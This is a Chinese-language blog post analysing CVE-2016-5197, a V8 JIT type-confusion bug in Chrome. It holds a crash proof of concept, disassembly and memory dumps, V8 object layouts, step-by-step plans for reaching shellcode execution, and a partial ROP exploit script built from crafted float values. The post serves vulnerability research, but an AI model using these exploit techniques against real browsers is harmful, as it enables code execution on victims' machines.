美文网首页
CVE-2016-5197 漏洞分析

CVE-2016-5197 漏洞分析

作者: o_0xF2B8F2B8 | 来源:发表于2017-03-20 16:51 被阅读0次

    漏洞概览

    漏洞是由于 v8 优化后的 JIT 代码没有对全局对象进行类型校验造成的,通过 JIT 代码操作未校验的全局对象可以达到越界读写

    漏洞详情

    漏洞样本

    <script>
    function Ctor() {
        n = new Set();
    }
    function Check() {
        n.xyz = 0x826852f4;
    }
    for(var i=0; i<10000; ++i) {
        Ctor();
    }
    for(var i=0; i<10000; ++i) {
        Check();
    }
    
    var n;
    Ctor();
    Check();
    parseInt('AAAAAAAA')   // trigger crash
    </script>
    

    漏洞成因

    阅读上述的漏洞样本,可大体得知漏洞触发的流程。

    • 样本首先创建两个函数 Ctor()Check()Ctor() 函数为全局变量 n 赋值;Check() 函数设置全局变量 n 的自定义域 xyz
    • 多次重复调用 Ctor()Check(),使得 v8 引擎开始对这两个函数进行编译优化(Crankshaft)
    • 创建全局变量 n
    • 调用 Ctor() 重新设置全局变量 n 的值
    • 调用 Check() 设置 n 的自定义域 xyz
    • 调用 *parseInt('AAAAAAAA') * 触发漏洞

    乍一看漏洞触发流程会让人觉得一头雾水,摸不着头脑。其实这个漏洞的触发涉及到 v8 对象在内存中的存储问题。下面我们通过一步一步的分析理清该漏洞的触发流程

    第一个需要理解的问题是 v8 对于 整型 的存储。v8 引擎在设计内存存储时,为了将对象指针和其他数据区分,使用 tag Object 技术:_ v8 中所有的对象指针最后一位均被设置成 1_。此时 整型 就需要进行左移来防止奇数数字可能产生的干扰。于是数字在 v8 内存中存储时会左移一位,如 0x1000 在内存中就会变成 0x2000。而当 整型 的最高数据位为 1 时(0x40000000),左移便会造成整数溢出(0x40000000 << 1 = -2147483648),这时 v8 将以 Number 对象的形式将大于 0x4000000 的整型以浮点数形式存储在内存中。

    样本中数据 0x826852f4 会被转化为浮点数进行赋值,相应的代码为

    07318742 8b4007          mov     eax,dword ptr [eax+7] 
    07318745 b90000805e      mov     ecx,5E800000h
    0731874a 660f6ec9        movd    xmm1,ecx
    0731874e b90a4de041      mov     ecx,41E04D0Ah
    

    可以在内存中搜索这段二进制数据来定位 JIT 产生的代码
    8b 40 07 b9 00 00 80 5e 66 0f 6e c9 b9 0a 4d e0

    搜索得到的代码如下,为 Check() 函数编译优化之后的结果,关键部分的含义已在注释中说明,可以看到 Check() 在对 nxyz 域进行操作时,直接从全局空间中取出变量,并按照偏移直接操作,期间并未对变量类型、变量自定义属性数组进行任何合法性的校验。

    04f67161 89e5            mov     ebp,esp
    04f67163 56              push    esi
    04f67164 57              push    edi
    04f67165 83ec04          sub     esp,4
    04f67168 8b45fc          mov     eax,dword ptr [ebp-4]
    04f6716b 8945f4          mov     dword ptr [ebp-0Ch],eax
    04f6716e 89c6            mov     esi,eax
    04f67170 3b25105d0701    cmp     esp,dword ptr ds:[1075D10h]
    04f67176 7305            jae     04f6717d
    04f67178 e84378fdff      call    04f3e9c0
    04f6717d b8dda4d206      mov     eax,6D2A4DDh          
    04f67182 8b4007          mov     eax,dword ptr [eax+7]     // 全局变量 n
    04f67185 b90000805e      mov     ecx,5E800000h
    04f6718a 660f6ec9        movd    xmm1,ecx
    04f6718e b90a4de041      mov     ecx,41E04D0Ah
    04f67193 660f3a22c901    pinsrd  xmm1,ecx,1
    04f67199 8b4003          mov     eax,dword ptr [eax+3]              // 取 n 的自定义属性数组
    04f6719c 8b4007          mov     eax,dword ptr [eax+7]              // 取 n 的 xyz 域
    04f6719f f20f114803      movsd   mmword ptr [eax+3],xmm1   // 为 xyz 域赋值 
    04f671a4 b8a181e004      mov     eax,4E081A1h
    04f671a9 89ec            mov     esp,ebp
    04f671ab 5d              pop     ebp
    04f671ac c20400          ret     4
    

    函数 Ctor() 对应的部分优化代码如下

    04f66b60 8178ff6daa0005  cmp     dword ptr [eax-1],500AA6Dh
    04f66b67 0f8538000000    jne     04f66ba5
    04f66b6d b9dda4d206      mov     ecx,6D2A4DDh      // 设置全局变量 n 为 新创建的 Set()
    04f66b72 894107          mov     dword ptr [ecx+7],eax
    

    因此当 6D2A4DDh 中保存的全局变量为一个全新的对象时,这里的访问便会导致越界写入。

    这里第二个需要理解的问题就是 v8 中 js 对象的自定义属性在内存中的情况。以样本中的 Set 对象为例,对象偏移 0x4 的位置保存一 FixedArray 数组指针,用于保存 Set 对象中可能出现的自定义属性,当有发生 Set 对象的自定义属性访问时,v8 直接按照该属性声明的顺序以偏移的形式从对象的 FixedArray 中取出数据完成访问操作。当对象初始化时,由于尚没有其他的自定义属性存在,因此该位置将使用内置对象 empty_fixed_array 进行初始化。(这部分信息可以通过阅读Chrome源码明确的观察到)

    在样本中漏洞触发时会将内置对象 empty_fixed_array 取出当作已经有数据的 FixedArray 对象来使用,直接通过偏移计算的方式取 FixedArray 中保存的第一个对象进行操作。这里由于数据 0x826852f4 的关系,会将取出第一个对象指针直接作为 Number 使用。

    查看 empty_fixed_array 在内存中的情况,由于其是内置对象,会在 v8 引擎初始化时就和其他内置对象一起被创建,因此其在内存中的相对存储情况是固定的

    0:000> dd 04908125 -1
    04908124  04b08185 00000000 04b081b1 3043247e
    04908134  00000008 6c6c756e 04b081b1 ae4b45da
    04908144  0000000c 656a626f 00007463 04b08235
    

    可以看出 empty_fixed_array 其后紧跟的是 null 内置字符串和 object 内置字符串。其中被 Check() 当作 Number 处理的对象指针为 'null' 内置字符串的 map,也即 initial_string 类的 map,其中保存了 initial_string 型对象的的类型、结构等重要信息。这次越界写入操作便会修改这个 map 的信息,造成的结果即使得所有 initial_string 类型的对象都会出现问题。

    map 被修改前后对比如下,其中类型的关键结构信息被完全破坏

    0:000> dd 04b081b1 -1
    04b081b0  04b0812d 00006600 00190004 082003ff
    04b081c0  04908101 04908101 00000000 0490811d
    
    0:000> dd 04b081b1 -1
    04b081b0  04b0812d 5e800000 41e04d0a 082003ff
    04b081c0  04908101 04908101 00000000 0490811d
    

    故而在样本调用 parseInt("AAAAAAAA") 试图将 initial_string 类型的字符串 "AAAAAAAA" 转化为整型时,便会出现问题,导致崩溃。

    漏洞利用

    该漏洞目前可以实现的有两种利用方法,第一种和 flanker 演讲时所提出的利用思路不同,后来根据 CanSecWest 的PPT 实现了第二种利用方法

    FixedArray利用思路

    该思路通过越界写自定义 FixedArray 的方式实现利用,相比于上一种方法,该方式更加稳定和优雅,受其他因素干扰也更少
    具体的利用步骤为

    • 在调用 Ctor() 为全局变量 n 重新赋值之后,为 n 指定一自定义属性,使 v8 引擎为 n 新建一 FixedArray 。此时新建的 FixedArray 位于内存区块的 new_space 部,所有新分配的对象均处于这个区
    • 新建一 Array 对象,布局于 FixedArray 之后;将 Ctor 作为 Array 的一个成员
    • 新建一 ArrayBuffer 对象,布局于 Array 之后
    • 使用 Check() 函数越界写,由于此时 Array 对象正位于 FixedArray 之后,因此可以越界写 Arraylength 字段,得到一个可以越界操作的 Array
    • 使用该越界 Array 可以进行越界读写操作。由于 ArrayBuffer 对象布局于 Array 对象之后,使用 ArrayArrayBufferbacking_store 修改为 Ctor 的地址。这样就可以使用 ArrayBuffer 修改 Ctor 中已经具有读写执行权限的代码段
    • 将 shellcode 写入 Ctor 的代码段,调用 Ctor() 便可以成功执行 shellcode

    null_str利用思路

    该思路通过越界写内置对象 null 来进行,相比于前两种方法,这里硬编码的地方更少,看起来也更加优雅
    具体的利用步骤为

    • 设定三个全局变量 n,m,l,并使用 Ctor() 函数为这些全局变量赋值,此时要保证这三个全局变量偏移0x4 的位置均是 empty_fixed_array,这里选用了 set,map,ArrayBuffer。(这里若均使用同种对象类型,则优化后的函数代码会相互影响,但是看 Keen 在 Cansewest 上的 PPT 里的说法好像也不会,暂时不懂)
    • 触发漏洞,使用 Hack(obj) 函数通过 n 对象越界写 null_str,修改 null_str 的数据部分为传入的 obj,由于函数优化的关系 v8 会直接将对象放至于指定位置,接着通过调用 null_str.charCodeAt() 便可以逐字节读出对象地址,这里我们通过它泄漏一个 ArrayBuffer,和一个函数对象
    • 再次使用Hack(obj) 函数,将null_str 对象写入其 value 部分
    • 再次触发漏洞,使用 Hack3(addr) 函数通过 m 对象越界写 null_str,此时函数会将 null_str 对象的 value 部分值当作指针来解析,由于之前已经将 null_str 对象写入了, 从而这里可以操作 null_str 对象的 hash 和 length 字段,且可以写入任意值,这里将 ArrayBuffer 的一个偏移写入 length 字段
    • 再次触发漏洞,使用 Hack4(addr) 函数通过 l 对象越界写 null_str,此时函数会将 null_str 对象的 length 值当成一个指针来解析,这里操作的是之前写入的 ArrayBuffer 偏移址,通过该偏移值可以操作到 ArrayBuffer 的 backstore,修改其为 JIT 函数体部分
    • 将 shellcode 写入 JIT 的代码段,调用 该函数便可以成功执行 shellcode

    附录

    分析和利用过程中使用到的关键数据结构如下

    String
    String{
        +0x00   map
        +0x04   hash
        +0x08   length
        +0x0C   value
        ......
    }
    
    Array
    Array{              //大小 0x18 
        +0x00   map
        +0x04   empty_fixed_array
        +0x08   data pointer     // fixed array
        +0x0c   array length
    }
    
    FixedArray
    FixedArray{      // 大小随数据而定
        +0x00   map
        +0x04   length
        data
    }
    
    Uint32Array
    Uint32Aray{    //(TypedArray)    大小 0x28
        +0x00   map
        +0x04   empty_fixed_array
        +0x08   ArrayPointer 
        +0x0c   ArrayBuffer Pointer
        +0x10   0
        +0x14   ArrayBuffer size
        +0x18   NaN
        +0x1c   ArrayLength
        +0x20   0
        +0x24   0
    }
    
    ArrayBuffer
    ArrayBuffer{    //  大小 0x20
        +0x00   map
        +0x04   empty_fixed_array
        +0x08   empty_fixed_array
        +0x0c   buffer_size
        +0x10   backing_store
        +0x14   4
        +0x18   0
        +0x1c   0
    }
    
    map
    map{        //  大小 0x2c
        +0x00   map
        +0x04   istance_size    // byte
        +0x05   InObjectProperties_or_ConstructorFunctionIndex      //byte
        +0x06   unused
        +0x07   visitorId       //byte
        +0x08   instance_type   //byte
        +0x09   bit_field       //byte
        +0x0a   bit_field2      //byte
        +0x0b   unused
        +0x0c   bit_field3      //byte
        +0x10   prototype   
        +0x14   constructor 
        +0x18   transitor_or_protytypeInfo
        +0x1c   discriptor
        +0x20   CodeCache
        +0x24   DependentCode
        +0x28   WeakCellCache
    }
    

    ROP利用思路

    该思路系从原始样本中直接衍生联想而来,通过修改 initial_string 类型,可将字符串类型从 one_byte_string 修改为 two_byte_string,从而使用该字符串便可以越界读取其后布置的对象信息,实现信息泄漏,通过泄漏出的信息构建 ROP 链,布局在内存中。接着将字符串类型从 one_byte_string 修改为 external_string ,这样便可以控制 EIP 劫持程序流程。该思路在实际使用过程中遇到了一些问题,尚未实现利用,具体的方法还在思考中。
    具体的利用思路为

    • 修改 initial_string map,将字符串类型从 one_byte_string 修改为 two_byte_string,使用 charCodeAt 函数泄漏刚刚布局的 initial_string 对象后面的数据地址
    • 修改 initial_string map,将字符串类型从 one_byte_string 修改为 external_string,使用 charCodeAt 读取泄露对象的内部敏感数据,进一步计算出相对应的模块基址
    • 通过泄漏出的模块基址构造 ROP 链,使用堆喷射或者其他方法,将 ROP + shellcode 布局在堆上的已知位置
    • 修改 initial_string map,将字符串类型从 one_byte_string 修改为 external_string,使用 paseInt 控制 EIP 跳转到布局的 ROP 中

    ROP 利用代码

    <html>
    <script>
    function Ctor() {
        n = new Set();  
    }
    
    function Leak() {
        n.xyz = 3.4766779122194493e-308;  // string to unicode
        return "AAAABBBBCCCCAAAA".charCodeAt(12).toString(16)    // over read
    }
    
    function Read() {
        n.xyz = 3.4766991238883129e-308;  // string to exteral_string
        return "addr".charCodeAt(0).toString(16)     // abtrary read    
    }
    
    function Recovery() {
        n.xyz = 3.4766863919135671e-308;
    }
    
    function Control() {
        n.xyz = 3.4766991238883129e-308;  // string to exteral_string
        ParseInt("addr"); // call [addr]+c
    }
    
    for(var i=0; i<10000; ++i) {
        Ctor();
    }
    for(var i=0; i<10000; ++i) {
        Leak();
    }
    for(var i=0; i<10000; ++i) {
        Read();
    }
    for(var i=0; i<10000; ++i) {
        Recovery();
    }
    for(var i=0; i<10000; ++i) {
        Control();
    }
    
    var n 
    </script>
    </html>
    

    相关文章

      网友评论

          本文标题:CVE-2016-5197 漏洞分析

          本文链接:https://www.haomeiwen.com/subject/wzkinttx.html